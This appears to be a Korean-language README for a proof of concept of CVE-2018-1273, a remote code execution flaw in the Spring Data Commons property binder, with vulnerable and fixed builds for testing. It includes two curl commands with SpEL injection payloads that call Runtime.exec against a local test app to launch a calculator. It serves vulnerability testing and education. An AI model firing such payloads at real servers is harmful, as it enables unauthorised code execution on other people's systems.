
CVE-2018-1273 PoC: 조작된 요청 매개변수를 통해 REST 엔드포인트를 대상으로 하는 Spring Data Commons 속성 바인더 RCE. 테스트를 위한 취약 버전 및 수정 버전 포함.
Spring Data Commons, 버전 1.13부터 1.13.10, 2.0부터 2.0.5, 그리고 지원이 종료된 이전 버전들은 특수 요소를 적절히 무력화하지 않아 발생하는 속성 바인더 취약점을 포함하고 있습니다. 인증되지 않은 원격 악성 사용자(또는 공격자)는 Spring Data REST 백엔드 HTTP 리소스에 대해 특수하게 조작된 요청 파라미터를 제공하거나 Spring Data의 프로젝션 기반 요청 페이로드 바인딩을 사용하여 원격 코드 실행 공격을 수행할 수 있습니다.
자세한 정보는 여기를 참조하세요.
이 애플리케이션은 취약한 버전 또는 수정된 버전의 Spring Data Commons로 테스트할 수 있습니다.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
다음 명령을 실행하여 취약점이 악용될 수 있는지 확인합니다:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
https://www.arima.eu 에서 제작했습니다.
